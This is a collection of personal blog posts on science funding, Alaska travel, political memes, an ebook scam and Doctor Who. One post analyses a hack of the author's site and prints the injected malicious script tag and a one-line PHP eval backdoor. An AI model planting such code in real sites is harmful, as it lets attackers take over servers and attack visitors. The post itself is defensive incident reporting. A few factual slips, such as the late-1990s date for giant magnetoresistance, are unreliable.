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dragonpoly
Every time you buy a hard drive, some of your money goes to the German government.

That's because in the late 1990s, a physicist named Peter Grünberg at the Forschungszentrum Jülich (Jülich Research Center) made a rather odd discovery.

The Jülich Research Center is a government-funded German research facility that explores nuclear physics, geoscience, and other fields. There's a particle accelerator there, and a neutron scattering reactor, and not one or two or even three but a whole bunch of supercomputers, and a magnetic confinement fusion tokamak, and a whole bunch of other really neat and really expensive toys. All of the Center's research money comes from the government--half from the German federal government and half from the Federal State of North Rhine-Westphalia.

Anyway, like I was saying, in the late 1990s, Peter Grünberg made a rather odd discovery. He was exploring quantum physics, and found that in a material made of several layers of magnetic and non-magnetic materials, if the layers are thin enough (and by "thin enough" I mean "only a few atoms thick"), the material's resistance changes dramatically when it's exposed to very, very weak magnetic fields.

There's a lot of deep quantum voodoo about why this is. Wikipedia has this to say on the subject:

If scattering of charge carriers at the interface between the ferromagnetic and non-magnetic metal is small, and the direction of the electron spins persists long enough, it is convenient to consider a model in which the total resistance of the sample is a combination of the resistances of the magnetic and non-magnetic layers.

In this model, there are two conduction channels for electrons with various spin directions relative to the magnetization of the layers. Therefore, the equivalent circuit of the GMR structure consists of two parallel connections corresponding to each of the channels. In this case, the GMR can be expressed as



Here the subscript of R denote collinear and oppositely oriented magnetization in layers, χ = b/a is the thickness ratio of the magnetic and non-magnetic layers, and ρN is the resistivity of non-magnetic metal. This expression is applicable for both CIP and CPP structures.


Make of that what you will.




Conservatives and Libertarians have a lot of things in common. In fact, for all intents and purposes, libertarians in the United States are basically conservatives who are open about liking sex and drugs. (Conservatives and libertarians both like sex and drugs; conservatives just don't cop to it.)

One of the many areas they agree on is that the governmet should not be funding science, particularly "pure" science with no obvious technological or commercial application.

Another thing they have in common is they don't understand what science is. In the field of pure research, you can never tell what will have technological or commercial application.

Back to Peter Grünberg. He discovered that quantum mechanics makes magnets act really weird, and in 2007 he shared a Nobel Prize with French physicist Albert Fert, a researcher at the French Centre national de la recherche scientifique (French National Centre for Scientific Research), France's largest government-funded research facility.

And it turns out this research had very important commercial applications:



You know how in the 80s and 90s, hard drives were these heavy, clunky things with storage capacities smaller than Rand Paul's chances at ever winning the Presidency? And then all of a sudden they were terabyte this, two terabyte that?

Some clever folks figured out how to use this weird quantum mechanics voodoo to make hard drive heads that could respond to much smaller magnetic fields, meaning more of them could be stuffed on a magnetic hard drive platter. And boom! You could carry around more storage in your laptop than used to fit in a football stadium.

It should be emphasized that Peter Grünberg and Albert Fert were not trying to invent better hard drives. They were government physicists, not Western Digital employees. They were exploring a very arcane subject--what happens to magnetic fields at a quantum level--with no idea what they would find, or whether it would be applicable to anything.




So let's talk about your money.

When it became obvious that this weird quantum voodoo did have commercial possibility, the Germans patented it. IBM was the first US company to license the patent; today, nearly all hard drives license giant magnetoresistance patents. Which means every time you buy a hard drive, or a computer with a hard drive in it, some of your money flows back to Germany.

Conservatives and libertarians oppose government funding for science because, to quote the Cato Institute,

[G]overnment funding of university science is largely unproductive. When Edwin Mansfield surveyed 76 major American technology firms, he found that only around 3 percent of sales could not have been achieved “without substantial delay, in the absence of recent academic research.” Thus some 97 percent of commercially useful industrial technological development is, in practice, generated by in-house R&D. Academic science is of relatively small economic importance, and by funding it in public universities, governments are largely subsidizing predatory foreign companies.


Make of that what you will. I've read it six times and I'm still not sure I understand the argument.

The Europeans are less myopic. They understand two things the Americans don't: pure research is the necessary foundation for a nation's continued economic growth, and private enterprise is terrible at funding pure research.

Oh, there are a handful of big companies that do fund pure research, to be sure--but most private investment in research comes after the pure, no-idea-if-this-will-be-commercially-useful, let's-see-how-nature-works variety.

It takes a lot of research and development to get from the "Aha! Quantum mechanics does this strange thing when this happens!" to a gadget you have in your home. That also takes money and development, and it's the sort of research private enterprise excels at. In fact, the Cato Institute cites many examples of biotechnology and semiconductor research that are privately funded, but these are types of research that generally already have a clear practical value, and they take place after the pure research upon which they rest.

So while the Libertarians unite with the Tea Party to call for the government to cut funding for research--which is working, as government research grants have fallen for the last several years in a row--the Europeans are ploughing money into their physics labs and research facilities and the Superconducting Supercollider, which I suspect will eventually produce a stream of practical, patentable ideas...and every time you buy a hard drive, some of your money goes to Germany.

Modern societies thrive on technological innovation. Technological innovation depends on understanding the physical world--even when it seems at first like there aren't any obvious practical uses for what you learn. They know that, we don't. I think that's going to catch up with us.
dragonpoly
There's a mountain overlooking Nome. It's called Anvil Mountain, and on that mountain is a kind of monument to the Cold War. You can see it from just about anywhere in town. These four enormous antennas squat over the landscape, a silent testament to the money and lives squandered on endless political bickering.



When I saw them, I had to check them out.

These four antennas are part of the old "White Alice" system, a communication system that was part of the old Distant Early Warning radar installation all along Alaska, constantly searching the sky for signs of Russian bombers sneaking over the Arctic and heading across Canada toward the United States.

The system was designed in the 1950s, when fear of the Commies was really starting to gain traction. The Distant Early Warning line was a set of remote high-powered radar facilities all along Alaska, but the designers had a problem. Alaska is huge. If you count the string of islands that extends from its western edge, many of which were home to DEW radar, Alaska is about the same distance stem to stern as the distance from California to New York.

And there are no roads, no telephone lines, and no power lines. Even today, there is no way to get to Nome by road; roads linking it to the rest of Alaska simply do not exist. You get in and out by air or barge, and that's it.

The radar stations along the DEW line needed to be able to talk to command and control centers. Normal radio wouldn't work; Alaska is so large that the curve of the earth renders line-of-sight radio unworkable.

So the Air Force came up with an idea: troposphere scattering. Basically, they decided to use enormous antennas pointed at the horizon to blast an immensely powerful radio signal, so strong it would bounce and scatter from the upper layers of the atmosphere, reaching stations beyond the curve of the earth.

The system was code-named "White Alice" and was built at enormous cost in the 1950s and operated through the 1970s, when satellite communication made it obsolete. By the time it was decommissioned, there were 71 of these stations, including the one on Anvil Mountain.

Eve and I borrowed a 4x4 and drove up the mountain. The facility is surrounded by a chain-link fence that has long since been pulled down and yanked apart in places. An ancient, battered sign warns trespassers that it's a restricted area; the locals seem to use it for target practice.



The White Alice installations were powered by enormous diesel generators. Each of the four antennas at a facility consumed up to 10 KW of power; the generators provided power for the transmitters, the living quarters, and small line-of-site microwave dishes that provided short-range communication.

Most of the White Alice facilities have been completely dismantled. Several of them are toxic waste sites, as diesel fuel and other contaminants have been dumped all over the place.

When the Anvil Mountain White Alice facility was decommissioned, the residents of Nome asked the Corps of Engineers to leave the four big antennas. Everything else is gone.

These antennas are huge--about five stories tall.





Cost overruns, under-engineered specifications, and overly optimistic maintenance projections made the White Alice project run ten times over budget. Most of the materials to build the installations--hundreds of tons of equipment for each one--were shipped to remote mountain peaks by dogsled. Airbases were constructed at many of the sites to get fuel, people, and supplies in and out. Technicians worked at these sites year round, facing minus 30 degree weather or worse during the winter.





We went up twice, once during the afternoon and once at 1:30 in the morning to watch the simultaneous sunrise and sunset. I can only imagine how miserable it must have been to work here; in the middle of one of the warmest summers on record, when Nome was facing over-70-degree weather, it was cold and windy on top of the mountain. Winter, when the sun hardly comes up, must have been brutal.





I used my smartphone to take a panorama showing the whole installation from the very peak of Anvil Mountain. Click to embiggen!

dragonpoly
A short while ago, I published a tweet on my Twitter timeline that was occasioned by a pair of memes I saw posted on Facebook:




The memes in question have both been circulating for a while, which is terribly disappointing now that we live in the Golden Age of Google. They're being distributed over an online network of billions of globally-connected devices...an online network of billions of globally-connected devices which lets people discover in just a few seconds that they aren't actually true.





A quick Google search shows both of these memes, which have been spread across social media countless times, are absolute rubbish.

The quote attributed to Albert Einstein appears to have originated with a self-help writer named Matthew Kelly, who falsely attributed it to Einstein in what was probably an attempt to make it sound more legitimate. It doesn't even sound like something he would have said.

The second is common on conservative blogs and decries the fact that Obamacare (or, sometimes, Medicaid) offer free health coverage to undocumented immigrants. In fact, Federal law
bars undocumented immigrants from receiving Federal health care services or subsidies for health insurance, with just one exception: Medicaid will pay hospitals to deliver babies of undocumented mothers (children born in the United States are legal US citizens regardless of the status of their parents).

Total time to verify both of these memes on Google: less than thirty seconds.

So why, given how fast and easy it is to verify a meme before reposting it, does nobody ever do it? Why do memes that can be demonstrated to be true in less time than it takes to order a hamburger at McDonald's still get so much currency?

The answer, I think, is that it doesn't matter whether a meme is true. It doesn't matter to the people who post memes and it doesn't matter to the people who read them. Memes aren't about communication, at least not communication of facts and ideas. They are about social identity.




Viewed through the lens of social identity, memes suddenly make sense. The folks who spread them aren't trying to educate, inform, or communicate ideas. Memes are like sigils on a Medieval lord's banner: they indicate identity and allegiance.









These are all memes I've seen online in the last six weeks. What inferences can we make about the people who posted them? These memes speak volumes about the political identities of the people who spread them; their truthfulness doesn't matter. We can talk about the absurdity of Oprah Winfrey's reluctance to pay taxes or the huge multinational banks that launder money for the drug cartels, and both of those are conversations worth having...but they aren't what the memes are about.

It's tempting to see memes as arguments,especially because they often repeat talking points of arguments. But I submit that's the wrong way to view them. They may contain an argument, but their purpose is not to try to argue; they are not a collective debate on the merits of a position.

Instead, memes are about identifying the affiliations of the folks who post them. They're a way of signaling in-group and out-group status. That makes them distinct from, say, the political commentary in Banksy's graffiti, which I think is more a method of making an argument. Memes are a mechanism for validating social identity. Unlike graffiti, there's no presupposition the memes will be seen by everyone; instead, they're seen by the poster's followers on social media--a self-selecting group likely to already identify with the poster.

Even when they're ridiculously, hilariously wrong. Consider this meme, for example. It shows a photograph of President Barack Obama receiving a medal from the king of Saudi Arabia.



The image is accurate, thought the caption is not. The photo shows Barack Obama receiving the King Abdul Aziz Order of Merit from King Abdullah. It's not unconstitutional for those in political office to receive gifts from foreign entities, provided those gifts are not kept personally, but are turned over to the General Services Administration or the National Archives.

But the nuances, like I said, don't matter. It doesn't even matter that President George W. Bush received the exact same award while he was in office:



If we interpret memes as a way to distribute facts, the anti-Obama meme is deeply hypocritical, since the political conservatives who spread it aren't bothered that a President on "their" side received the same award. If we see memes as a way to flag political affiliation, like the handkerchiefs some folks in the BDSM community wear in their pockets to signal their interests, it's not. By posting it, people are signaling their political in-group.

Memes don't have to be self-consistent. The same groups that post this meme:



also tend by and large to support employment-at-will policies giving employers the right to fire employees for any reason, including reasons that have nothing to do with on-the-job performance...like, for instance, being gay, or posting things on Facebook the employer doesn't like.

Memes do more than advertise religious affiliation; they signal social affiliation as well.







Any axis along which a sharp social division exists will, I suspect, generate memes. I also suspect, though I think the phenomenon is probably too new to be sure, that times of greater social partisanship will be marked by wider and more frequent distribution of memes, and issues that create sharper divides will likewise lead to more memes.

There are many ideas that are "identity politics"--ideas that are held not because they're supported by evidence, but simply because they are a cost of entry to certain groups. These ideas form part of the backbone of a group; they serve as a quick litmus test of whether a person is part of the out-group or the in-group.

For example, many religious conservatives reflexively oppose birth control for women, even if the majority of its members, like the majority of women in the US at large, use it. Liberals reflexively oppose nuclear power, even though it is by far the safest source of power on the basis of lives lost per terawatt hour of electricity produced. The arguments used to support these ideas ("birth control pills cause abortions," "nuclear waste is too dangerous to deal with") are almost always empirically, demonstrably false, but that's irrelevant. These ideas are part of a core set of values that define the group; holding them is about communicating shared values, not about true and false.





Unfortunately, these core identity ideas often lead directly not only to misinformation and a distorted worldview, but to actual human suffering. Opposition to vaccination and genetically modified foods are identity ideas among many liberals; conservatives oppose environmental regulation and deny human involvement in climate change as part of their identity ideas. These ideas have already led to human suffering and death, and are likely to lead to more.

Human beings are social animals capable of abstract reasoning, which perhaps makes it inevitable that abstract ideas are so firmly entrenched in our social structures. Ideas help define our social structures, identify in-group and out-group members, and signal social allegiances. The ideas we present, even when they take the form of arguments, are often not attempts at dialog so much as flags that let others know which lord we march for. Social media memes are, in that way, more accurately seen as house sigils than social discourse.

More Than Two hack

dragonpoly
As most of you know, I do computer security as a hobby. (Browse the Computer Security and Computer Viruses tags on this blog to see what I mean.) So it was with a measure of embarrassment I discovered, while at Atlanta Poly Weekend in June, the More Than Two Web site had been hacked.

I first became aware there was a problem when Eve visited the site on her phone and saw this:



I investigated and discovered that malicious code had been added to the bottom of each page, just below the closing body tag. The following code had been injected:

<noindex>
<script src="http://stat.rolledwil.biz/stat.php?1921853954">
</script>
</noindex>

I spent the next few hours not going to panels or workshops, but instead looking at logs, talking to my hosting provider, and investigating the source of the attack. Fortunately, an old friend of mine from Atlanta who does computer security professionally happened to be at the convention, and I spent some time talking to him, too.

A malicious file that offered people a back door into the site had been added, and files had been tampered with to inject the hostile code into HTML pages.

I quickly discovered the attack was targeted only at Android browsers, and only certain versions of Android (as near as I can tell, versions equal to or less than 4.0).

The site at stat.rolledwil.biz returned a 404 Not Found whenever I tried to visit it directly. In addition, non-Android mobile browsers and desktop browsers didn't return the error.

I remove dthe malicious files and the hack, and then set about figuring out what had happened and what its purpose was. What I found was interesting.




The malicious site at stat.rolledwil.biz was served by Cloudflare, the spam and malware sewer that figures prominently in problems I've written about here and here. I emailed Cloudflare, and received a terse reply that the actual host was an outfit called Digital Ocean. I emailed them, and they quickly shut down the malware server.

The number that appears after the question mark in the line

<script src="http://stat.rolledwil.biz/stat.php?1921853954">

is an encoded version of the IP address of the More Than Two server. Te first thing this script does is check the browser referrer against this encoded IP address. If they aren't the same, it returns a 404. Basically, it looks to see if the script is being called from a hacked Web site. If it isn't, then it's probably a security researcher trying to figure out what the script does, so it sends back a 404.

The next thing it does is look at the browser's user agent--the thing that tells a Web site what kind of browser you're using. If it isn't Android, it also redirects to a 404. The flow looks like this:



So only if the call appears to be coming from an Android browser visiting a hacked Web site does the malicious script get served up. The script produces the alert dialog shown above, and tries to redirect to a URL in Eastern Europe (not functioning at the time I observed this).

The initial attack vector seems to be a variety of the Mayhem worm targeting Web servers. My Web hosting company was apparently vulnerable (the problem has since been fixed), and the exploit was used to drop a malicious PHP file on my server. The PHP file looked like this:

<?php @eval(stripslashes($_REQUEST[ev]));

If you know PHP, you're probably filled with a sinking feeling of horror and dread looking at that. Basically, it allows a person to execute commands on a Web server from a browser.

From here, the attackers modified the files on the Web server to inject the malicious HTML into Web pages.

The server has been fixed, the CMS I use has been updated, and I've taken other steps to ensure against a repeat attack. The attack vector was closed the day after I discovered it, but I haven't written about the attack prior to this until I had finished analyzing it and had a good understanding of exactly what happened and how it worked.

The fact this attack was as sophisticated as it was and was aimed, not at Windows, but at Android, is interesting.




There's a postscript to this. The malicious attack site was served up by Cloudflare, the content distribution network with a reckless disregard for security and abuse. I notified the actual Web host, Digital Ocean, about the attack, and they had disabled the site by June 11.

However, a month after being told the site was serving malware and being used as part of a Web attack, and almost a month after the site had been disabled, Cloudflare was still trying to serve its content:



Cloudflare appears indifferent to even the most egregious abuse, and will continue to provide services to abusive Web sites long after they're notified of the abuse, and even long after the sites' hosts have shut them down. I'm not quite sure what to make of that, but I'm becoming more and more convinced Cloudflare is a menace to the Internet.
dragonpoly
The sun rises in the east and sets in the west, as every fule know.

What we don't often think about is this is really true only at the equator, and even there it's only entirely true during the solstices. For people anywhere else, or at any other time, the sun actually rises in the northeast and sets in the northwest (if you're in the southern hemisphere) or rises in the southeast and sets in the southwest (if you're in the southern hemisphere). Or at least it would, if the earth weren't tilted on its axis.

Since the earth is tilted, not only does the sun generally not rise and set at locations 180 degrees apart from each other, the location of sunrise and sunset wobbles as the year goes on.

When you're north of the Arctic Circle, things get really weird.

At the summer solstice, the sun doesn't set at all, and during the winter solstice, it never rises. The rest of the time, it makes circles in the sky. The circles wobble as the year goes by...during the summer, most of the circle is above the horizon, and as winter comes, the circle sinks below the horizon. (So, if you plot the path of the sun in the sky--when it is in the sky--over the course of time, it actually does a spiral.)

Last night, Eve and I climbed to the top of Anvil Mountain just outside Nome, Alaska (which is near enough to the Arctic Circle to see some of the weirdness) at 2 o'clock in the morning to watch the "sunset." I say "sunset" because it's still pretty much full daylight out. The sun dips just barely below the edge of the horizon, but it doesn't stay there, and it comes up again shortly thereafter...meaning we saw a simultaneous sunset and sunrise.

The red in the sky on the left of this panorama is the sunset. The red in the sky on the right is sunrise. The sun is traveling in a shallow arc that just barely dips beneath the horizon.

Click on the picture to embiggen!

Nome, Alaska: The Last Train to Nowhere

dragonpoly
As the result of a lengthy and somewhat improbable series of events, I'm in Nome, Alaska with my sweetie Eve, working on another book.

A few days back, we took a drive on the one road that goes through Nome. Nome is inaccessible by car; the only road links it to the nearby towns of Council and Teller.

If you drive out toward Council, a trip I recommend only during the summer and then only in a large 4WD vehicle, about twenty miles from Nome you'll come across the long-deserted ghost town of Solomon, a leftover from the gold rush in the early 1900s. Near Solomon, you'll find what's left of a failed attempt to bring rail service to Nome.



In 1903, an enterprising group of people formed a company to build a railroad to serve the gold mines near Solomon. They bought a bunch of secondhand elevated railway engines from New York City and hauled them up to Nome by barge.



In 1907, a storm washed out the one rail bridge between Solomon and Nome, leaving the trains stranded on the edge of the water. The company folded and simply walked away, leaving the trains where they were, to quietly rust away into the tundra.



That seems to be a common theme in Alaska. The landscape is dotted with abandoned mining equipment, wrecked construction vehicles, and huge pieces of machinery simply left where they were when they became inoperable.

The locals call this steam engine graveyard "The Last Train to Nowhere."



Even during the summer, it's cold and windy here. The train never was reliable under the best of circumstances, so it's no surprise there was no effort to replace it.





Piracy and More Than Two: Caveat Emptor

dragonpoly
This Blog post has been updated; updates are at the end.

Recently, a concerned blog reader sent me an email alerting me to a Web site that claimed to have a free ebook download for More Than Two, the polyamory book Eve and I just finished. He found the link on a YouTube "video" that was basically just a still spam image claiming that the book could be downloaded free, with a Web link in the description. The YouTube page looks like this:



Naturally, I was concerned; Eve and I have put a tremendous amount of work into the book. The eBook isn't slated to be released until September 2; only our Indiegogo backers have a copy of it, so if it's leaked, it came from one of our backers.

The download site is a place called masszip.com. It claims to have a huge number of "free" ebooks available for download, all of them pirated versions of books that are most definitely not free.

On the masszip.com page for More Than Two, there is a prominent "Download Now" button. Clicking it causes a "Premium Content" popup to appear:



The popup has several links for various online "surveys" and advertising offers. If you click on one of them, you are taken to another site called cleanfiles.net, which then redirects through a number of affiliate-tracking intermediaries to one of the sites offering "free*" (*particioation required) gift cards, surveys, and the other sorts of flim-flam that fill the scummy and less reputable corners of the Internet.

Both masszip.com and cleanfiles.net are served up by the Cloudflare content delivery network. I'm planning an entire computer security blog post about Cloudflare; they are either completely incompetent or totally black hat, and provide content delivery services for a wide assortment of spammers, malware distributors, and phish pages. (I've mentioned Cloudflare's dysfunctional abuse procedures in a previous blog post.)

I jumped through all the hoops to download a copy of More Than Two, using a disposable email address created just for the purpose. The sites signal cleanfiles.net that you've finished the "survey" or filled in an email for an insurance quote or whatever, and then a file downloads.

It's not necessarily the file you expected, though.

The first time I did this, I got a file that claimed to be an epub, all right, but it wasn't More Than Two. It was a file called Ebook+ID+53170.rar, which uncompressed into a file called "Words of Radiance - Brandon Sanderson.epub". Words of Radiance looks to be a real book--a somewhat pedestrian fantasy story about kings and assassins and heroes with secret powers.

The file was not actually an ebook, though. It was actually a Windows executable; and, needless to say, I would not recommend running it. In my experience, Windows expecutable files that mislead you about their names usually have nefarious purposes.

I tried the download again, using a different "survey" link and a different throwaway profile, and ended up being taken to this page:



I'm betting the violation of the Mediafire terms of service probably related to malware.

So basically, the site offers pirated eBooks, but actually makes you fill out surveys and apply for various kinds of insurance quotes and so on, presumably all to make money for the folks who run it. It doesn't actually deliver the goods, however. Instead, it delivers Windows executables of undetermined provenance that likely don't do anythig you want them to do.

I examined each of the links and discovered the owners of the site are using three different affiliate tracking systems to make money. The affiliate system you're routed through depends on which link you click. The system looks something like this:



Presumably, they also make money from malicious file downloads.

The site at trk.bluetrackmedia.com is an affiliate tracking site run by Blue Track Media, which bills itself as "The Performance-Based Online Advertising Company." Typical URLs that run through Blue Track Media look like

http://trk.bluetrackmedia.com/cclick.php?affiliate=3239&campaign=9600&sid=139267348_21118_w_161238&sid3=2859

The people responsible for this scam are identified by the affiliate code "affiliate=3239".

The site at adworkmedia.com is an affiliate tracking site run by AdWorkMedia, a site that monetizes Web sites using "content locking," where certain parts of the site are blocked until the visitor does something like fills out a Web survey or gives his email address to an advertiser. Typical URLs that run through AdWorkMedia look like

http://www.adworkmedia.com/go.php?camp=7012&pub=11178&id=15672&sid=&sid2=2736&sid3=LinkLocker&ref=&shortID=198717

t.afftrackr.com is a site registered to a guy named Ryan Schulke. It's listed as malicious by VirusTotal.

I can't find out much about quicktrkr.com, except that it's a new site registered February of this year, 1.quicktrkr.com is hosted on Amazon EC2, and it's protected by a whois anonymizing service in Panama.

So in short, here's the scam:

A Web site, masszip.com, promises free stolen eBooks. The site is a front-end for another site, cleanfiles.net, which makes money by using an affiliate system to try to get you to fill out surveys and similar offices. Advertising companies like AdWorksMedia and Blue Track Media pay the site owners whenever you fill out one of these surveys or offers.

If you do this, a file downloads to your system. it will claim to be an eBook (though not the eBook you thought you were getting), but analysis of the file shows it's actually a Windows executable. The scam is spamvertised via YouTube "videos" that are actually nothing but spam front-ends.

If you're looking for a copy of our book More Than Two, I suggest you don't take this route. I understand that waiting for the book to be released on September 2nd might feel like agony (believe me, it does for us too!), but it's a lot less likely to get your computer infected with malware, and it won't help line the pockets of scammers at your expense.

Interestingly, some of the advertised sites you end up with if you jump through all the hoops are actually mainstream, big-name companies like Allstate and Publisher's Clearinghouse, which apparently have no compunction in associating their brands with scams and malware.

UPDATE: The site at t.afftrackr.com appears to be owned by Cake Marketing, and is part of their affiliate tracking system. A Google search for t.afftrackr.com shows a very low confidence in the site, and a number of complaints and dodgy associations.

UPDATE 2 (1-July-2014): The YouTube account of the scammer has been terminated. I received an email this morning from Blue Track Media, saying the affiliate account of the scammers had been closed.

The scam is still active, and it's now using the affiliate tracking company Adscend Media. Typical URLs used in the links on the scam download page look like

http://adscendmedia.com/click.php?aff=12842&camp=29168&crt=0&prod=3&from=1&sub1=141558590_21118_w_161238&subsrc=2859

I also filed a DMCA report with Cloudflare, and received a reply that basically says "we are a content delivery network, not a conventional Web host, so we don't have to listen to DMCA reports." Cloudflare is continuing to provide services to the scam Web sites.

UPDATE 3 (1-July-2014): Only a few hours after I emailed Adscend Media about the scam, I received an email saying they'd also terminated the scammer's affiliate account.

Sex Tech: Adopting the Brain's Plasticity

dragonpoly
Some while ago, I read an article about a gizmo made of a black and white video camera attached to a grid of electrodes. The idea is that you wear the electrodes on your tongue. Images from the video camera are converted into patterns of electric signals on the electrode, so you "see"--with your tongue--what the camera sees.

Early users of the prototype gizmo would wear a blindfold and then try to navigate around just by the electrical impulses on their tongues. What's most interesting is not only were they able to do this, but they reported that, after a while, their memories were not of sensations on their tongues, but of seeing a fuzzy, black and white image.

The brain is wonderfully plastic, able to interpret new kinds of sensory input in amazing ways. It can rewire itself to accommodate the new input; in fact, the tongue-electrode thing is being commercialized as a device for the blind.

As I do, when i first heard about this, I naturally thought "how can this be used for sex?" And I think it has fantastic potential.




Imagine, if you will, a wearable dildo, rather like the Feeldoe, that's designed to have one end inserted in the vagina. Only imagine that we take the same kind of electrodes used in the tongue-camera device, and send signals to the electrodes not from a video camera, but from small touch sensitive sensors mounted just below the skin of the dildo.

These sensors would be mapped onto the electrodes so that when something touches the sensor, you'd feel a corresponding signal from the corresponding electrode.

I'm not an artist, but I made a couple of crude animations to illustrate the idea:





What would happen?

I believe that after a period of adjustment, this dildo would be incorporated into the brain's somatosensory perception. The brain would, in essence, modify its model of the body to accommodate the dildo--it would, rather quickly I suspect, cease to be perceived as a thing and become perceived as a part of the body. Stimulation of the dildo would begin to feel like stimulation of yourself.

And isn't that an interesting idea.

The neural density in the walls of the vagina isn't as great as the neural density of the tongue. I don't think that's a problem, though; the neural density of the shaft of the penis isn't as great, either.

One potentially interesting twist on this notion is to map the most sensitive part of the penis, the underside just below the glans, onto the most sensitive part of the body--the clitoris. The sensors of the shaft would map onto electrodes in the bulb worn inside the vagina, except this part, which would map onto the clitoris--mapping the sensitivity of a natural penis.

Another potentially interesting thing to do is to make the sensors on the dildo pressure sensitive, with firmer touches creating stronger impulses from the electrodes.

Now, there's a lot of experimentation between this idea and a real device. I don't know the neural density in the walls of the vagina, but it would impose a limit on how many electrodes could be placed on the dildo. Would there be sufficient density to be able to create a fine tactile sense? I think the answer is probably "yes," but I'm not sure.

I'm also not sure how much processing would be required. I'm guessing not much; certainly much less than is required with the vision sense. The tongue-vision thing is trying to do something far more complicated; it's trying to register sufficient information to allow you to navigate a three-dimensional world. A circle seen by the camera might be a lollipop right in front of your face or a billboard far away; because the tongue has no way to represent stereo imagery, there's no way to tell. So the processor has to allow the operator to be able to zoom in and out, to give the user a sense of how far away things might be. It has to be able to adjust to different lighting conditions.

The dildo, by way of contrast, merely has to respond to physical touch, which maps much more easily onto the array of electrodes. It's pretty straightforward; if something's not touching a particular sensor, its electrode isn't producing a signal. The amount of processing might be low enough to allow the processor to be housed inside the dildo, making the device compact, and not requiring it to be tethered to any electronics.

I think this thing could be hella fun. It would allow people born with vaginas to have a remarkably good impression of what it's like to be born with a penis.

In a world where I had infinite free time, I'd put together a crowdfunding campaign to try to build a working prototype. Even without infinite time, I'm considering doing this. Thoughts? Opinions?

Badass is Back, and dealing with squicks!

dragonpoly
In this new addition to the lore of Badass McProblemsolver, he offers his calm, wise advice about how to deal with feeling squicked because your girlfriend wants to have sex with another man. Check it out!

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dragonpoly
I was sold a bill of goods.

We all were, really. It was a bill of goods we'd been promised for years, with the reboot of the popular BBC TV show Dr. Who.

I loved Dr. Who as a kid. I had a secondhand television set in my bedroom when we lived in rural Nebraska. We didn't have cable, and we were way out in the middle of nowhere, so we only got two stations: PBS and something I don't remember (because if you have PBS, what else do you need?). I'd watch Tom Baker romp around the universe with his sidekick Louise Jameson (my second celebrity crush) in cheesy low-budget glory.

The new Dr. Who promised to be something darker, something more complex, something less campy and more menacing. And, for a time, it delivered.

Oh, sure, it had problems. Russell T. Davies' epic misogyny was tiresome and sad, like that one relative who overstays his welcome at every family get-together, the loser who drinks too much and starts rambling about how in his day, women didn't run for political office before he ends up passed out on the table with all the leftovers scattered around him and his head in the plate of mashed potatoes.



Eventually, the show realized it was actually Mr. Davies' bigotry that looked tired, and Steven Moffatt took over the reins. His sexism is still there, to be sure, though it's a more covert sexism, a sexism that sees female characters as "strong" provided they don't, you know, talk too much or stray from gender roles. But that, perhaps, is a topic for another essay.

Ah, Steven Moffat. The man who blinks at the edge of the Abyss. The man who promises but can't deliver.




The Promise

When you think of the new Dr. Who, what comes to mind? The character of the Doctor has been re-imagined in a much darker way than the original. This is not the Tom Baker Doctor; this is a doctor much more complex, much less cartooney. This is the Doctor who is always running--but not necessarily from Daleks or Cybermen as much as from himself. This is the Oncoming Storm, the Doctor capable of atrocity, the Doctor who disowned his own name after he destroyed his entire species. This is the Doctor driven by remorse, grief, and a vast, aching ocean of loneliness. This is a Doctor at war with himself.

That's what the new series offered, and, for the first several years, delivered. In the re-imagined Dr. Who, we were introduced to a character made up of equal parts whimsey and rage, hope and regret. This was a Doctor of contradiction, a Doctor capable on the one hand of rejoicing "Just this once, everybody lives!" and on the other of inflicting infinite punishment on those who anger him. "He never raised his voice. That was the worst thing, the fury of the Time Lord... And then we discovered why." This is a Doctor capable of acts of almost inconceivable fury. This is a Doctor who, while deriding genocide, is altogether comfortable with it.



Where did this psychological complexity come from? According to Steven Moffat, from his own past, from his own decision some countless number of centuries ago to destroy his own kind and the Daleks in order to prevent their war from swallowing up everyone else. He looked into the Abyss, and he chose atrocity. He made the choice, consciously and with awareness of the outcome, to commit genocide. Living with the consequence of that choice has defined his character since.

This is the grownup Doctor, the Doctor for adults. The Destroyer of Worlds, the Oncoming Storm, the Bringer of Darkness, with a goofy grin and a Fez and an irrepressible sense of optimism that flies in the face of everything he's seen. This is the new Doctor.

Or so we were told.




The problem

Many heroes have darkness in their pasts. It's a rather pedestrian storytelling technique. The most simplistic versions of it, repeated in nearly every comic book since the dawn of time, involves a traumatic event inflicted on the protagonist by an outside party, which becomes the protagonist's reason to become a hero. Spider-Man and Bruce Wayne had people close to them murdered by bad guys. It's a cheap trick, a quick way to jump-start a hero without having to work too hard.

Sometimes, storytellers will go a more ambitious route, and make the Dark Tragedy that compels the protagonist forward an atrocity of the character's own making. This is the strategy employed in my all-time favorite novel, Use of Weapons. When it succeeds, it succeeds well.

It's a difficult thing to do, though. Presenting a character the audience is expected to see as sympathetic and to be able to identify with, and who is also capable of acts of atrocity the audience finds repugnant, requires considerable finesse in the craft of storytelling.

There's a problem that one faces, when one is a storyteller dealing with a protagonist who, we are told, is capable of atrocity. At some point, we, the audience, must see the atrocity, or else it becomes a gimmick. If we are told the protagonist is capable of this repugnant thing, but we are never shown it, it's simply another cheap trick, too easily ignored. Eventually, the TV show was going to have to come to a point where we, the audience, would have to be taken to the abyss. We were going to have to see the act, if we were to continue to take it seriously.

That moment came in a Dr. Who show called The Day of the Doctor, and Steven Moffat almost--almost--pulled it off.

The Day of the Doctor could have been one of the best hours of television filmed in a long time. Instead, it made me utterly abandon any interest in continuing to watch the show, and totally undermined any confidence I have in Moffat's ability to tell a story.

It should have worked. It really should have. I mean, for Chrissakes, they got John Hurt to play the zeroth Doctor, the Doctor whose act of atrocity laid the groundwork for everything that came after.



The Blink

Dr. Who has always been a corny show, with the degree of corniness waxing and waning as different writers tried their hand at the character. (The Titanic ramming through the TARDIS walls in one particularly atrocious and best-forgotten episode, for instance, will not exactly ring down through the ages as television's highest moment of artistic achievement.) There is, naturally, a bit of corniness in The Day of the Doctor,, and the episodes leading up to it. That's to be expected. It's the characters and not the situations that matter most, right?

So we are introduced to the War Doctor, the Doctor before he renounced his name, the Doctor who was the person all the other Doctors would spend their lives running away from, the Doctor who made an unthinkable choice for which he and all his future incarnations would be driven by remorse. We saw, by the device of time-travel and simultaneous presence, the revulsion and contempt his future selves hold for him. We saw, starkly, the Doctor's self-loathing put on display. We, the audience, were walked through the events that led to this unthinkable choice, the anguish, the despair, the cold moral calculus that justified it and the emotional response to what it implied. We saw all that.

